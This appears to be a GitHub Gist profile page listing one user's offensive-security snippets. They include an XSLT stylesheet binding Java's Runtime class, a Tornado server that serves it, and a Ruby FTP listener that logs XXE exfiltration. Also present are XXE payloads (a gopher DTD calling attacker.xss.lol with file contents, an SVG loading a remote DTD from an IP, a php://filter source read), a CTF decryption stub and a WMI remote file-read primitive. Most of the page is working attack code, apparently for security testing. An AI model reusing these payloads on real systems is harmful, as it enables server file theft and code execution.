Skip to content

Instantly share code, notes, and snippets.

View ProMPT120's full-sized avatar

Ashley Manraj ProMPT120

2 followers · 0 following
  • Montreal
View GitHub Profile
@ProMPT120
ProMPT120 / malicious.xsl
Created November 3, 2018 15:57
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:date="http://xml.apache.org/xalan/java/java.util.Date"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:str="http://xml.apache.org/xalan/java/java.lang.String"
exclude-result-prefixes="date">
<xsl:output method="text"/>
<xsl:template match="/">
@ProMPT120
ProMPT120 / server.py
Created November 3, 2018 15:55
from tornado.ioloop import IOLoop
import tornado.web
import time
class MainHandler(tornado.web.RequestHandler):
def get(self):
with open("malicious.xsl","r") as file:
self.write(file.read())
self.flush()
@ProMPT120
ProMPT120 / ftp_server.rb
Created November 3, 2018 14:47
require 'socket'
ftp_server = TCPServer.new 443
log = File.open( "xxe-ftp.log", "a")
Thread.start do
loop do
Thread.start(ftp_server.accept) do |ftp_client|
puts "FTP. New client connected"
@ProMPT120
ProMPT120 / gopher.dtd
Created November 3, 2018 14:20
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM
'gopher://attacker.xss.lol:2200/?%file;'>"> %all;⏎
@ProMPT120
ProMPT120 / svg.xml
Created November 3, 2018 14:08
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///">
<!ENTITY % dtd SYSTEM "http://192.99.71.144:8888/remote_ftp.dtd">
%dtd;]>
<svg xmlns="http://www.w3.org/2000/svg" width="12cm" height="12cm">
<text>Hello&send;</text>
</svg>
@ProMPT120
ProMPT120 / test.xml
Last active November 3, 2018 15:32
XXE test
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=test_dev.php">
]>
<feed>
<title>test</title>
<description>test</description>
<entry>
<title>Hello</title>
<link href="http://example.com"></link>
@ProMPT120
ProMPT120 / Solution I lost my password
Created October 30, 2018 00:29
package main
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"encoding/hex"
"fmt"
)
@ProMPT120
ProMPT120 / FileReadPrimitive.ps1
Created July 16, 2018 07:00 — forked from mattifestation/FileReadPrimitive.ps1
A WMI file content read primitive - ROOT/Microsoft/Windows/Powershellv3/PS_ModuleFile
$CimSession = New-CimSession -ComputerName 10.0.0.2
$FilePath = 'C:\Windows\System32\notepad.exe'
# PS_ModuleFile only implements GetInstance (versus EnumerateInstance) so this trick below will force a "Get" operation versus the default "Enumerate" operation.
$PSModuleFileClass = Get-CimClass -Namespace ROOT/Microsoft/Windows/Powershellv3 -ClassName PS_ModuleFile -CimSession $CimSession
$InMemoryModuleFileInstance = New-CimInstance -CimClass $PSModuleFileClass -Property @{ InstanceID= $FilePath } -ClientOnly
$FileContents = Get-CimInstance -InputObject $InMemoryModuleFileInstance -CimSession $CimSession
$FileLengthBytes = $FileContents.FileData[0..3]
[Array]::Reverse($FileLengthBytes)